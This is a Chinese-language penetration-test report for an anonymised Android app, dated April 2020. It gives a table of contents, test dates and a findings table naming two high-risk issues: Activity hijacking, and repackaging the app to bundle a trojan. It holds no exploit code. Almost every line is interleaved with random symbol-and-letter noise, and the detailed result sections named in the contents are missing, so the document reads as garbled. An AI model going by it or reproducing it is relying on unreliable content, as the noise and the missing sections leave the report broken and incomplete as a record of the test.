: e# M; l2 z: r5 V
$ e) u+ q9 Y W7 ?
& u+ \% S3 L/ b6 W& o0 q5 |" K5 @# h6 A2 O* H( w8 {2 o
: c2 `) J7 o" P0 N: f2 ~
( [, |" y9 g! V
0 ^* e1 ^( J4 c) u& W# t" @5 n/ b! l9 s! l7 J
- A; ~, T9 F" D. x, _1 r
+ o6 }) k" }) b: V# k6 a
% T* V* _2 s1 m
# Q1 u# Z/ m% g( Z7 E, h 文档编号: : @2 D5 z) O4 Y- h
0 J3 {8 X$ l( J- u% k! F
2 ~% U3 g2 [ M8 d ?1 i* ]
- m) V" p8 c( L
2 i+ T! ~- G! U& U2 B
! A+ H& @4 u0 q! H2 d1 R
7 q& O! H$ m: X4 V1 \5 `) b6 [- z5 v! A8 q# d2 m: z( d& U+ _
2 u$ E$ W4 {) X9 D$ x' r+ t% p& K
% G: t# x" c2 g. Q2 n" W' a
1 q% }' t5 Z9 Q( S, ]5 k* L+ r
% H& d% r' C) Z 4 q3 ^9 P) `" y" n! S3 g5 r
- q- b( Z' ^5 z6 N) e) f, G; `) t 6 B4 C; y' Z; w. X. w; E* G. j! ]
2 |4 f+ \- v$ y$ @. v ( ?1 s# ~1 k1 R- M% t; `
6 |/ S* L: _6 u: R7 i, @: d
% w8 Y; @; h8 W/ y( q
/ f) ?6 I4 x8 `# \+ H- G
7 c, ?/ f; C. a6 f0 X. e- M
% U! @, y6 }/ X) w) o
& @( r/ b) b6 q: t# w5 k- `+ \" @+ C$ b2 J
# X- k: z3 Q2 i! z
4 d" g/ s- b3 P" Z/ F( P
3 b ^7 P; D& o" [, ` _% M) s; u. [
, a4 }+ b/ Y3 C B
- m$ v9 y) \$ i1 ^4 \! \
" t1 ^7 j; ?7 ]9 I' t( `8 D+ ^& o" c n6 K. t5 \
/ B$ Y& ^' {/ {' Z7 f6 o
6 ?1 ?: Z+ ^ E" |' g: i
/ U, F0 U$ ]1 x! n9 q! o8 U& P, ?) D9 `# J& X7 Y& d
某某某APP渗透测试 8 G/ i. q0 u) P6 @7 c3 F
! u2 N* B a9 \0 h& f * ]& y8 ]5 j. d1 q6 i
6 D% R' I Y, q* Q/ A- W
U( I3 c* L4 ^) }( b' c5 \6 \! [$ w: B. s' N$ \8 `1 ~& g# V) I
+ l5 w5 Z- v. o/ b5 v# y
+ n! Z7 w5 V. i$ Q 2 S9 K1 O0 b/ f: G% d$ r3 x
, B L, [% _# N8 G# [3 _
- D& e. {* j- q' j* t- D
4 i6 m: D1 |: ~+ m" @1 ~
# F! X3 y8 U/ N# ?) k4 t
( a$ D: \4 k8 j; y8 o$ g) L# o 7 r/ C/ U/ `% E9 h) J" Z
, W7 A" s; F4 U' @! `* B
2 X0 [# B2 C. H; t4 R) I P+ D: F2 b$ |
/ O& K8 V3 h/ W' B) f/ i1 w5 Z5 ?
* B* E* P/ }/ i+ K2 {/ H' r2 t# c 1 O1 {( n& F& a# K
2 c3 M ^4 p; ~2 l( |$ D
2 n: [' | b( ]. D; V
+ e/ G6 F) R8 X& X( i
7 _4 r/ x; T# Q1 D
' R$ P+ x+ s& Q2 I1 T: G1 W( [ , L% o' _( q5 `- Y l/ S
; b# i, \' y' _3 y( J
. y) U8 }& r0 n+ S6 K# ^$ E, L; `, W( k$ U: a8 v0 ]" Z
技 术 报 告
4 p9 ]0 f6 J. F
3 D# V2 @* G7 u8 ]7 f+ ^1 }- |) [
" O( P5 W0 @. k* L+ L! x9 j% Q; C# I& ]& L/ \$ V
4 E* F7 _& [/ Z0 }( [" K! p# n
- c1 H2 `% e7 p/ K) N6 t
7 R8 H) H0 ]& K7 `" w% G" x' a
/ H: Q3 ~- I5 S! T. M3 k
' o' a3 f1 j. _+ X3 L1 q9 E0 J! [- m# B
/ W" S' \3 v2 N/ L# i1 h
2 l* S H. v k0 R2 z; H& h 7 g/ U; X# W4 L) q o( o( F
8 b* q( [6 G' q% Q! f
, P' n% J( O( _% @4 B; l9 Y, c# _7 x3 T4 O* Z8 z& M
* p' g" H# ]( e* i+ q% P R( F6 _
7 Z& d U+ s" `- j8 V) W
? s/ n* c" f; [0 y5 \1 P. @0 k1 r- f N
4 _& @! i6 A; l$ ?4 y) l# D4 |) o8 M$ c7 l& \
: ]1 j" W/ t0 k) ?4 k
9 u0 k7 _3 g9 s+ d0 b
. D$ z9 G2 m3 P2 M. K: V V
8 R8 \. \2 n% r' Q' A
* ?% |' N- u/ Q8 g# a+ i6 \ L
- A: ~7 }. `& O* r+ P! [* @) n
$ \, ~8 h' z1 y! X5 f/ ?
# D5 t. {7 p* r/ d6 s: J W ' \- }4 d6 i' x7 ?% w
: _; @7 R- K# `) j
( ~+ z- ? @$ B8 h' }
1 Q, ^! w I' k8 p7 n' H5 U3 q
- M- m6 C) n1 ]! u$ ~3 D1 `. y* a7 `
; @+ p: o& x: Q0 b
3 G, \7 m v: u& c1 s1 R! L3 k/ y; I1 M6 t. p: X% z6 v% E
$ Y4 |% J' H5 m' E" ^ T
/ H* ?1 I* }0 F% F
& ]& k/ v% V% `, l# ^0 z3 O8 L# m
3 `1 Y8 w) X* P/ U# M8 ~) c/ R: o6 Z n
9 Q Z2 _! K# y! z" f3 {8 v8 H
$ ]! F0 p: d5 @5 n+ ~0 |
4 u, @. ~& \3 \. H9 r6 L+ y
6 x6 X% |8 I6 q& J; [4 r1 r1 V
( v' w7 E" Q$ A4 R( o / j0 |$ g# n6 p3 ~6 V
* w3 p6 N) h% [$ k8 R# V " |1 k9 T( z& u: Z$ C. e# X2 }8 U
8 N- g! k: }, m# x9 N: b; M: O( m ) S* a6 u! ~% {- I# I6 D
# G" f% M* J1 k5 [% c3 c
* q3 L* m7 m5 n4 ~
8 F n7 a' ~- x; x2 j+ e/ H
: k4 r/ @3 u9 u
, ^' h( T. @3 v 4 V+ j5 T8 t0 d5 I; X1 t: o2 c
5 D1 y( R* e& ~) F' R: f6 j' E % r. f* y, L2 k/ M' Z" y
! e' v. A4 Z" r( y 3 O2 C' o8 K7 l- p9 m/ i1 ?
- \$ r2 D* {# E ( F3 T5 m. Z u) ^' m3 Q
( g) v/ F: W! b( w # w, u& m# }, g& `9 {: C( h3 b
9 a: p# r7 r; B3 J. ?! ^. U$ K. \, @
% F B- h, h3 k" [9 W1 s& J) ~
: X( _6 u/ Q9 H$ A+ N
9 M0 A. z0 f0 K2 l
6 \8 Z+ W6 b) ~
' `8 B' P! w; T
1 R# n" F1 R2 J4 y- k3 x. [; n " B& ~, h) ]5 K3 S: k
2 F- S8 A' n& q5 q( Z; O1 A
: \" B' X4 v9 o; t: x
* o, p# t# I( m, \ 0 a4 w$ N; Y$ X4 y4 o
: j6 U) }5 j6 k; V) l. s7 L1 D
# L; h1 ~4 v+ i6 w1 m2 |& C; y
0 U9 v$ R5 g" a# l: p7 ^
0 c) E; C& R6 t
, w3 B5 c' P/ w) A m7 x1 U( R" h* A' U( \& g& O! J5 _
, S8 ~. b2 {2 [& G% F9 g+ f+ R# ^/ \
% j ~! K! I. h& p2 \
- X5 H" ?+ r: [/ c9 R4 u + p7 \; U3 g( ]! \) `# x
7 d8 C8 n; K' Z' O1 j: E; E- f
- R% T, w: ?. X8 Q0 \! I! j
- t% {/ I7 N4 A: |) ~
( p/ Y$ g7 K2 p- z$ P: U9 l# o
, K. H" u5 g5 ^! s9 W
: e) G. _4 c' j6 ]
6 h8 w# E$ v1 J! x7 R" T
3 d( O3 y: `- w8 h+ L2 i1 `
/ |; D$ z. o- u6 ~+ b0 H
+ i2 [. D, \7 Q- _3 Y7 B8 w& M6 m- t0 D
5 R) @0 `+ O) f. A+ M& Q, w
2 S$ q, |. H# ]" o1 ^9 E
) } s" h4 j6 Z. n
' [4 z) g" y2 ^4 j% s) ?
) U& y5 p) n# Y) c/ W) n* j P
/ i% S7 T4 Y. q3 {; i* C) b- u5 _
; o/ X4 ~4 |. B4 z+ X6 [: } W
1 V* k) k$ t3 \9 F- l! x5 `" j
% E# K. ~) n B9 O, u8 `1 x) d- a. I+ e- Q( o) _
8 o9 B/ _ b2 n6 ^/ k( b, b/ o" j8 P: K5 }3 o$ R% h, u3 b
二〇二〇年
4 G, `7 i! n8 n6 b+ P" F+ ~4 v, L9 ?0 `* y- o3 f L: u% b: o
; T+ t7 n$ n' W# {* D, z9 v
% I- P6 G% X" ?$ t5 \% Z) H5 F/ C ! Q( d" S/ d6 h" Q s( b
! }2 E" @4 ?5 e) \' D! h
* J& D- `, n2 t! E4 y! d
% _+ O: A* g6 K: ~5 I8 a
5 i3 ^9 i; Y, [9 {2 G8 \3 ~! W+ E$ ?8 @& \6 o/ l. S
+ V; E- W, l! m! c- C4 ~
' K- T3 G8 H- o ; w2 W- M# d% F) W4 d& ~5 B
# i/ s, H9 h% f1 _1 R
2 i2 h* Q! S* z0 {% S
R/ U$ B9 g* n j4 M: M
7 w Y% U) Y( M+ ] ~, X' L+ e! N6 H5 d
4 a, c( f1 O7 \% P7 y i0 U8 y/ e# R
3 I @. {- O& P. u5 B
$ Z/ d/ S, i" e# K8 u 目 录
2 P. r- `0 I% g0 V* S! C( U
$ D2 `1 F O, } a# m
) s g N6 @; t# z& a
% G1 o, p. k# k: u# m- B% d
( `2 l% y5 o8 j0 R5 t
# o, ]% V) d5 d2 _( p 1 ?" p1 I# q/ u+ Q G
0 m' h1 U. A. F* L- ?
4 s* J3 f, z7 W
. c5 z/ Y7 W1 O5 v - {& G* E* T4 r8 g5 w# Y% r+ ` ]2 U
, H+ ^. b. D) n* K6 N# T 5 E7 V0 H/ r9 _1 T/ c& p% z
9 F) r# w7 i1 G- l# ]0 F" @ 1 概述... 3
% \2 a+ O7 q5 r1 Y9 P+ L% g! k4 b' [3 g1 Y5 g9 p0 E9 h
5 m5 C# b8 O0 a& X' L- G0 w
4 s- {1 T8 j) e4 B: H: n% x/ _ , K8 F3 }' {+ P2 X. ~* e6 {
! ]1 `% u+ X# z) x 1.2测试时间... 3 + {/ d! H/ g1 r1 G
, z; y1 R, X( ]8 z, [3 g
/ g* p) U- o3 x$ ]
$ q% {. v$ ~0 ~" L v3 s- _
0 @* S0 T6 b5 }" [
% g x* y" p% @) d8 A 1.3测试对象... 3
. y, N9 W8 q) a& d9 g! R: B8 ~4 S& o5 S2 G
5 e8 m v7 Z8 n- Z5 ?, s/ u- S8 q& F. I
% u+ W9 `3 `: J& }9 S# P1 M% r$ d
! E( m: _. @, i, t, c. w 1.4测试结果... 3 ( Y1 z! b+ @4 V" a2 t( U+ ^: l7 u
4 Z, l* \' ` W5 _, I" N' W! P F
% z2 u8 ^) W& {" n* M2 l3 t) a Z9 k' P* K" P [! v
4 D+ g2 p b' S6 L0 ^+ c7 d, N% V5 g
2 检测结果... 4 2 C1 s9 [) c5 L/ s7 s0 O2 s
) A2 n; g, L2 x5 Z# p) k5 M/ b0 h9 P3 L
2 `+ q, q" [2 J8 X8 d6 `
. m8 ?# ?0 g- ^) q
/ e- ` h9 O. X! B) t+ ^; H' ~, t/ ?- `6 b e1 D2 j
2.1 某某某... 4
! t3 N5 ~. s8 [" e% x2 ]
9 z0 d- U! }3 b
& T5 s7 w4 [; T3 j+ O: D
, W# k* O+ R, \1 k( t ! O+ G7 b/ P# z7 i$ ]! h
0 W* G, Q( A2 [1 h8 N4 O$ f% F; \; v 2.1.1检测目标... 4 ! ~1 [1 d, U% K
; P. C. u( P$ ^1 S: Y 3 I I' y* @6 k4 P( Q- w+ K
! r8 }2 a8 U- ^/ e% I1 z3 }! R7 {
: R0 W$ K/ \. T) Q9 H9 ^4 r2 }$ r/ K+ @7 {7 p8 o
2.1.2检测结果... 4
, P2 e& a/ J j4 O1 H- I8 R b0 {0 Z( b0 l
$ ]" t M- `( F" U+ a/ Z: p, B1 v" g& B: p+ ^1 F
! q: s& R, u7 I* A, w* l/ x/ }
9 c8 t# G6 r2 q" \ 2.1.2.1. 4 2 H1 g; U/ w, o5 S( d
- N5 h) B. k( W" L; R 8 [+ b& s$ m( _5 a- b S$ V
) V5 E% o5 t7 ?, \8 o- K/ p9 I " d2 j' q* U2 _5 M
+ [2 Y, j: y b1 _0 m8 A 2.1.2.2. 6 $ H* z9 F. k' ^% Q+ K3 c: C
. e4 s; s( O. w0 z
' h4 q* }( k+ m
+ e1 m s( r9 n+ F9 ]# O/ o & d5 m& h8 l; n9 J% S
/ h" U7 B5 B$ D ; T* v9 n A3 H1 C
2 t3 f6 {3 d* A& v: b/ e
, m! }2 _' }& ]1 b/ ^& G! W* |" }1 y# ^( b1 j* n- ]
c& n" I2 J. @0 z. C/ d
( w: s+ ^6 a% E$ f0 K9 C5 B. K$ |
" C! q% E" S# T7 a! m. B/ [
9 r- s1 o( q3 l5 h, h) Q: W
{; s6 E* J6 i7 X: m5 n& M8 H
. o% D2 x ~& \* F% h5 L, L" B# T0 P, Y 6 [8 g/ r5 Z1 m' n
s) p/ s- q. x4 i
3 W+ p6 A5 Y- {( I/ x; ?) C
5 H3 R8 C& g- V
1 概述
1 `- \4 |5 z- Z& B, D) G; ]4 q
, w! q% P. i: n( ~1 g& l8 d0 m, w v
. b- [; t. w L6 { H3 e3 C0 N$ w) N! j' g7 |8 M
$ ^- m: h: {3 s% I0 f/ |* |; ~
) S1 |3 |& l4 b& O
1.2测试时间 ) Z, n; M- R" r& K ~ {3 V s2 E
- P' l2 X& \0 i+ Q
" y# y3 o# U8 |) O0 b; ~4 t; u i( @% k8 G" d/ Y* R( o7 V
# m9 \8 K* y& }) c
) y7 F0 w9 C! w9 \: P # `0 [5 j# J: ^0 ?
( J0 D7 ^( r) A8 K: Y: c B, A
5 @! Y1 _5 {. o
- M$ G" H2 s0 h# P7 n/ ~ ( `5 s/ K/ h( Z. l. j& I3 s
! l8 t4 [$ K- } 9 |4 f5 v8 I+ n Z
! ?0 `9 E: s- e) f, Q
渗透测试时间
7 a5 J( F. I% x! f
! |' k7 `# X$ ~
9 ~4 u: M# K6 \9 s# z
, U% D; y9 D; y% f1 z | 3 T4 |0 i8 F5 y% z' [
+ w, e0 U/ O! o6 B k% H( Y; X! a; X
$ Q& U# N2 @( [1 q" a+ x
# H9 Q- M/ }; D- e* ^* {) K+ x
8 G# [- s& M6 O! e$ L6 o# D9 D4 c3 w3 _' A8 |- _4 u8 M& H
' D, X0 M9 D1 Z E5 @! x' m# x
3 j; A: Z+ Z; y/ x* z. o! L) p
2 J, L& g' H+ i# o* p' e5 [( K3 j) X4 Z& k3 Y% z9 E; u
起始时间 5 w- t; @/ R: |. j
; B5 z; p+ r; E8 n: i1 S
. D* X" \4 u! f8 X, P3 a. D' _' s, G4 \+ P. n2 i; H4 Z& ^, S
|
" w' g4 n f; D5 e5 t
6 m' h6 n" n, K+ ?* l+ e 6 i9 O4 Q8 }; `* D7 h! w
3 _% S: l3 S+ }, I u8 Z7 J F) X! _* m
7 ~% J+ M5 S( e5 c6 C4 Z. W 2020年4月6日
3 [7 F9 h7 p+ ]8 O2 i4 C% m9 ]) t
|1 W! r5 Y- ^/ T* ^4 C% h
. W& G& x e9 w: D4 w8 Q' F+ b! S" V) R. |3 B6 D! L" H+ t# `
|
$ O4 v$ W ^# [8 R$ M
9 j- u" |: _# ] / H- h7 f7 p i; D0 F+ Q. w
4 ~% }, @/ ~) N: s
4 G' n" ?) o5 R* H W7 C8 m) r# N: p3 b
7 T+ L2 a" l) l; w4 B% x
3 N( u8 g$ B$ i9 f; J) }+ s# B # h$ J( |) b) `
' T, s# R! l- S 结束时间 ! ]' P6 y3 O4 \- z/ C1 ?, y1 P' o3 U
+ t+ [; V7 h- q) ]1 I
2 u$ ^0 y: H2 l
1 D. u, u5 j. E) g- G8 T |
# n* @# P+ v8 R9 I" O( z" X+ r8 I7 b& ], ]! M9 _
0 q Y% [* q( @2 u: S( ]" q, L+ i0 O g& Q8 J
' g$ ]* Z* T2 r, Z; k; a8 P5 l; ` Z4 b ]) {! \' k( b
2020年4月9日 & a( M9 K9 p+ A" d% \( i) |
+ s8 ]. N6 `9 I3 r" n
) q; q x2 ~ X& N" t: t
/ F/ u1 I6 ]! }7 s" ? |
% ?1 Z: t2 C1 p. A) m: O) x! B8 f9 O' B& P
% |+ F" P" |, H% V( N2 H0 L! _; }% x1 U8 F
. X' H# ]. P. ~4 j& h- E" n2 G
" a4 b- I5 l. b6 @) S' N
% U! j- v1 }3 G, E# z2 y$ q; h' s4 d4 s' q
2 A, D5 n' u# c( h( O' r* u' h7 Q7 U% S$ B5 {( c: Z% [ ^
1.3测试对象
& O+ F0 ?6 q+ w$ N
9 O( A. u, t8 l) c; B A% g 7 A0 E8 g1 ?" |) V; z& s7 ^
2 _8 }$ ?, f8 r- \4 Z7 p
7 W; I3 \: I" f# X' ?8 N! y
# f `8 `5 Z$ i& W0 D
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
! Q5 I5 M5 O, t$ Z+ w! ?. T; ], Z+ ` \! Y) V8 O8 E
% R0 p7 ^, ]$ [0 I# F9 ~- N2 W( U3 z3 N5 F& `
! Y j1 _+ _: ^, o. ~3 k8 A
$ u5 F6 I4 i% Z Y 表1-1 检测对象
! V, }+ T4 U' k3 G0 D! N2 I3 K! W/ L, i7 q5 K* ?
' h7 V. b% S7 ?4 I+ s/ t& T
7 L1 m" x7 |- q; X. w' w) M ; {( C% y, z* D" P4 p
( q& `- |1 W6 ^6 c! Y
' x4 g* C$ K- _/ m6 B
% B& L- U) _. W% P0 `
4 k9 e1 j- ~- B& b/ X
" f$ O; w! d9 R 9 `' J& \& Z ^
2 v9 H* H5 p9 E/ _2 ]6 \1 k+ r& k( R % j5 | d; v* }2 E$ |& j7 i
, w: b: O5 W% F: `8 f
序号 N: L! K) t$ U6 G3 J8 S! J$ G g
) s: x' \ ^$ g; Z: i
' X: z! o K; ]0 c; C, s
1 ?" e. N1 N: O3 W- b5 r0 J: z |
" C* D8 C0 o& V2 g
; @" p G4 w8 s5 Z, M0 n& e4 ]) f
( Y; @. j$ U) H1 J
: |/ }( B# G5 l/ k
% b$ i, x" L( ?+ z4 ^& g
( V8 Q P+ d" e) [ 测试对象
) r. k( Z c$ g. w5 P! c
2 w: O3 }% n0 T+ ?/ V1 x9 E0 ^ ) X1 }7 I: d6 \9 ]* Z: s+ _( A0 [
8 s2 {" p, l+ _- L+ L' v# S
| * @, a, L% `8 L+ [
/ v- r, U! D+ J' s* Z4 y
0 s4 b- z7 ~1 [+ t7 y$ o1 l7 r. {8 o0 W2 K/ e3 H( \2 b3 t; m# Z; S
8 v& z2 |/ h% n5 {% y0 t
" V! _- {& R1 R' p/ D! a; ]# N
测试地址 ) Y, ]# o% U# r$ p
4 n% y0 U8 s% W9 c- K% r* ~& C$ V
+ n: V/ A w. F0 Q9 d& t9 i; z; v% i, g
| % T( [" u; ~3 i3 |
# k; w+ U3 g- G1 m0 _ h4 X
6 r0 ^5 T% u+ j8 g I0 A& ^- w R) b
K' b g6 `1 @6 K" ~
l. L" O% s* Y
安全漏洞
$ |$ f2 `$ d$ M1 i0 }# d: p+ T2 C s9 R: O, A, X
5 J) a, a2 V" D6 w6 Q u
) Q* `& _0 {# C9 R6 A' Y6 U9 g$ V
| , L* l+ W3 b2 A P, V
- W* k6 a- ?/ _0 p5 y+ N( g - j2 k2 O! v( h3 V* ~5 T/ W$ }1 a
! V% B- g2 w. j" _
[8 E* J0 Q: k2 x' W
2 s, g' _. x: o$ \
! O# _6 I3 j+ e9 F" I
$ m: h: N9 T5 E* \
$ W, d$ S6 X' ~; v; k L; r
* b6 s( s3 T1 S+ D 1
" [3 x5 j) z! t9 \
|$ V! r( Y) [
; t8 W1 N0 t6 _" U- I2 ^- T0 H# B$ p- J. b/ F
| * U/ i( \/ P3 {
3 _( W) r0 C# h: _ | " R' \7 H7 d6 Q3 o: N$ T- B' T
* Y* P! K) r5 F3 _' @" q; u d
3 x+ i+ U9 f A% B% _4 J6 L( B: |, g
" E, _; U9 Y* N7 J! @' H 某某某安卓APP
# F: y1 i4 b; F0 l' J( @6 h3 n2 W) f3 J; ~3 V
8 i7 S9 I! C( Q/ `) ~1 f
. B k- F' ~* |! O* T0 S# b: x
|
0 o9 b8 u3 X; B% O3 u8 R. c) {( W+ ^* h) y: V/ I4 Q# n( f# e S
/ j3 N' z c+ n" b* p/ p! f+ ~5 A2 @2 ~7 o; _$ }
$ _5 a: n/ ^* l* t2 o" O: C
0 r9 W5 l* I/ h8 g
/ n5 f7 \, o: L2 [
% i5 A& u& g/ f+ j
* n7 E# R" N. H3 e. ]+ G
( V& @+ ~/ D5 H7 s8 X0 U | - @8 d* \ H5 [2 Z
J5 t& O) {; B2 _0 L 0 ]+ [! D1 Q5 W
5 c. F1 l4 S: k# X1 s& s7 ~2 S
1 R; V+ f" _+ y# j: k C! p; u, F! T- J N+ B9 z4 z: V" Z5 Z
2
6 L2 \2 J0 ?1 t7 U- c. n
% k) A5 l7 E- E 6 U8 q( P! C: S6 V( p' _" t
1 _4 G1 ^' Y/ L* s H) a |
7 D* m |! b6 Q
+ I$ o; w' w* `( n6 k9 [
, o6 C7 l& v: \ E" b# M" C
5 L5 K9 b8 c) x7 T* _ 7 N. l U7 w+ K& {
. f; i( B, i) Q# M* G2 {3 V$ P
; a$ X# a/ X/ E* O
0 a6 \4 Y9 c$ y; }) m, Y$ ~6 R3 L & T; B- a$ P) K" J
2 f3 h2 l; x ]
1.4测试结果
8 C: k4 s& \3 L6 ~! L- L7 R( k7 a5 S$ H
* @1 q) I# a k
3 z% A9 Q7 S' v0 G
3 H8 d9 j6 z. B* `0 H$ ?5 P2 I( H! w* J2 o: M3 @' |1 ^- J' A1 P# m7 I
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
8 r: D1 X2 ?) F/ o; b) v9 _
) I. G- ~0 Q {) _
3 x( h" E' i. q3 p& x, w( N3 U Q; S8 L% h1 Q, e
8 d2 @4 Z- Q1 O3 @$ j% ^
1 z8 g1 k" X0 x3 i9 n6 a `7 |
6 u, T- N* U. v$ {
2 q7 S. K/ ?; K i4 n
7 q6 A' W+ p* G) t2 |: w
" l3 Z% e7 Q1 X/ H. H A
. L5 o& Q) g! k5 q0 T' e* m7 m) R4 G4 ~
( u: x$ _( c7 h/ x9 k: ?! u: e$ K4 p1 D+ l" t
% h" m' N" L6 q& x1 @# f
0 W0 p; \3 p) U: P3 d
0 H4 E8 {, c+ r9 |7 O3 ?0 s5 i# p6 L+ _& [( o0 ~7 T5 I0 ?% j
9 F+ A& J2 \( C8 O+ y
( b3 {1 V3 D# Z6 a/ G 5 Y: e. Q$ ?. I1 ?6 ]4 j
( j: ^2 a( v% Y$ \$ o( _
序号 ) b, W. t( f D! _+ m# K+ d
5 g! ?' @) b+ j7 C4 J P K' i3 t* F- Z- m
. t! r3 g% u1 N- z3 M | , t6 Q$ n) d/ B% u% z4 R& s# t- d4 d/ }
) t& w. c7 u. N1 p& @
: [- S! W1 w5 S1 y4 K. [: e$ X8 l
7 m% \8 \% T; _( Z # E& W8 E; G# z* k5 A N
+ O8 a' b: i! k$ f+ O. e 系统名称
9 j. {( Q, u3 _1 N Y/ ?
7 N/ q* G! |7 p4 ^
( R2 J0 v( B. x& _+ W J! D2 M3 u l2 a( d+ u- C* x7 H8 i$ v, I& z
| ( S8 |" y6 v) P, G" m* Y8 P- I% E
: I/ ]9 P" y# D( V ! e% c h1 Z& B7 Q' D4 v
9 }6 p$ f# Z' d9 V1 s# S
$ u: m0 U% R) I0 G9 \/ P$ N
7 x9 r3 h' i' ]' {1 j- \2 u! ^
漏洞名称 3 H/ Q) v; }3 D5 `
2 ]4 t& F# D% G 1 ~8 E4 A }% |2 x4 b( `
, G2 n( x: h8 Z/ m! W0 c* a( V | 2 G" s( K# Y, W, B! u" v, Q
; V) b/ _: C1 [1 G7 R
( k' G, z: x: ~ k7 h0 d6 U4 k
: D1 a5 v" |1 Z2 J5 _: b
5 s. u+ t& Q) l
7 U# w9 V2 e: `; s2 n# K. D
漏洞危害
6 [8 k! T K8 k9 J( j% c, y1 P7 U
7 q0 p( x1 m* _+ ?9 E- ]
# H: g- W+ }$ n) A$ c4 R
2 l" I: x; E# y' ^6 l6 C9 x |
% U4 ?1 c) Z/ N9 ?& D' Q, n0 r0 m. o2 ?2 n
) w& D! e- u, p- Q# t" d3 j. t& D' T+ s+ t) s5 v2 x; D6 ]
% a1 h/ P, s* i5 `, \
& e8 a5 n3 e' b! }+ Q5 \4 T) Z4 g 修复结果 7 S* F' R2 P6 [
7 _: M. O; V1 A& c8 d
! D! o3 O8 [5 b
n2 t# j: a5 D5 C |
; Y0 k+ b+ I7 M6 U
1 E( E6 s! d Z8 g
0 t5 `6 j: W3 u* R# R9 |& [
8 f, {9 {! `* ? M5 g
- U! v. B/ r; a! x1 l$ j' ~' J; x! G5 _' ^
$ ^4 W2 v( G. J) Y& Y
6 [1 V7 l. f0 k - E" q' u( I7 K) P; A/ d5 p
& r5 e2 y1 ?8 u; L' i8 | 1
4 k7 \9 ?8 L" p; H9 t M6 F& U e8 s( D+ A0 f# J
6 i' \4 \* @: x7 b# E+ T
- Z& i1 Q! g/ P8 F' E; b6 g
|
" m4 n" v' l) n9 |3 d/ A% m. w; t, z9 v9 s$ D* J2 E3 V
# V3 v" j( D- i8 m- F! s. O6 {* @/ N+ f( H4 E
+ W. ?) F# K, l( J5 o8 c+ [
+ z& _! c6 B, S) \/ Q
某某某某某某APP
- n, j8 {, h/ ~, h
* b! u: N n) s4 ~2 f+ f
* m3 Z" i+ R7 v* a! i/ d) h1 _3 {, t9 v N |- p9 S
|
9 i4 w- n2 B. m2 K9 H
( f, H8 }; t! ^. e) b" p
: W' c3 h" i. d4 d b$ y" h
+ y! N5 c3 o4 T) A' `& O
; ]/ T B" o* c Y& B3 h. a5 [' W. X: P0 f+ k9 c4 j
Activity 劫持
2 I& u8 R9 g* ~8 d4 r- ]: [; ^
+ m0 ?1 Y( P. ~& W7 B" u2 K+ Q
& L6 I3 M+ m5 u/ Q3 o0 G: O7 V: Y
3 U' K3 Z1 S3 W% X7 `
* x- b9 Q" s4 |0 i
5 c8 `; {& t& Z2 r- G/ C. ]- A9 X3 f$ q
: V/ u! W2 ?9 H- _" e9 ]( M$ r1 M7 l; x: M9 D8 T; P8 M0 _
| - U! m- B! d& ?6 |8 q" M
% J( n6 N+ j b. w' n# d
1 a4 T2 T& M# Y b6 h$ C* Z
! }) [! W ]6 Y& J. S( m4 x % C7 R9 {9 G$ C
- W e3 F9 F' z$ C# U% _, N6 R8 y 高 8 C, n5 v% w0 D: P
/ ]9 L" L! s7 j. R- I9 {8 `5 V + {. l9 c& o0 i- g2 y+ Q
* N& U) M, ~1 U+ G: B4 f
| 1 C" e3 ^$ ~; m; j& t8 {+ J
/ w1 l) Y% a4 R' `- ]$ ?
4 i: A D$ O8 G$ {- x$ L) g7 L: X; o1 q! |
1 p B$ Y+ _) d3 Z8 T9 K$ q
9 a9 b& ^, F8 T . c% ~$ }$ P5 \( \( C2 I
3 i% H# h7 S7 @) ^ 2 g+ V( _4 [$ f, h
; x$ a: V, @, I4 N- \4 x- Q' ~
| 3 {* L3 X) w9 e' j' G
! c% R& v. n ~ 9 K) t. V1 ~" H+ ]4 Q
0 N% L) n' X& Y& k9 f# M . `2 _( q4 i/ }
0 C# x+ O% [- k( O Z: I8 i
- Q9 B- f& b& G( C
5 j+ w6 A6 m8 i6 G 8 v! D4 h/ ~/ h8 N- Z" t
& G+ w e- V5 B8 f6 C
2 / ?4 F/ C7 {! O0 N) P& ]( K1 z3 y
3 A7 R: s8 d) @! H K, V* N- m6 m8 B 7 y3 a# j) D% t/ g! _9 h( X
9 i6 j6 u1 P$ | | 3 L. s$ \. E/ v U$ H! V
) H. M8 G- \8 @' @4 R
0 b+ T4 l f) i/ C5 m/ p6 }1 ?/ ^ O4 B6 P# v# b A
( S! J% ]' Y U9 I
; W4 u* l9 f0 l/ Y) T5 ? 某某某某某某APP
$ x+ b7 @' a9 I# C8 P
) ^6 |* ?6 W! ]7 { 4 ^' ~. t, |$ y% x5 V2 ?2 E
) @! V2 u, v: C. B4 B) k p# ` | : [. b8 a: U% f( J( c: `2 H
7 I( q6 n2 l, }& ~! L
3 V6 J# E7 d3 d' Q( r+ i
2 z9 Y( g$ T5 k. C5 k. e' A% V2 J
7 l. _" z7 d5 N
8 |' e6 z; B, L+ g
反编译二次打包捆绑木马、篡改APP代码
: Z( w# S4 }, N3 x
_5 q+ m1 t I8 }! @' ]1 ~% b & ~: @4 \) {6 z
' S) a2 ?( u& u& T' Z- b* o | % l3 x' }* O( @3 |/ k
( o/ O- c' K }& B: d# d. q
. S0 u) e4 ~0 t; z6 C
, T) z9 y" G2 a
) X1 r1 l) Z6 `5 j5 `. T, E& ~9 I$ }' {! r/ D1 D
高 6 g1 o& _; b/ E$ U0 k
% B) T0 T2 L! E0 Q# U # y8 ]3 t& }* v7 x4 p
. S) j2 }# V5 a( [3 ~$ I8 C! } |
7 m$ }- K( k8 O1 ]
, W0 E1 e: I$ ?% j* Z) v- d9 X; U3 d
0 F! |; E5 T" P6 \7 O1 D( R1 H# X$ v$ A+ G
$ Y- h- y, @9 k7 I0 N2 f/ s
" v2 {# }9 Z# k" j) g2 ]
q% Y8 J1 W% H$ u! K# T; {) _$ o' P- [/ E$ [4 K
6 n4 ^, ?4 b4 \- y: e7 k) Z1 M+ r! w5 y- B- M8 d. S
| 1 \6 x" X D' `
1 j, c$ O4 t5 _% A8 g# b
4 B2 F. g$ H3 U) z! M! {6 O: k
" H7 Q" w. |. V" S* L- ]
7 y: D% y1 n: i, M1 x) j* D5 z
1 s0 W/ C; F$ P+ \; Z. `0 V
1 e- M& I) [( ~4 A# F& a+ V/ B [
q& R5 w+ `7 s3 y
- |/ `, [8 p6 b$ G
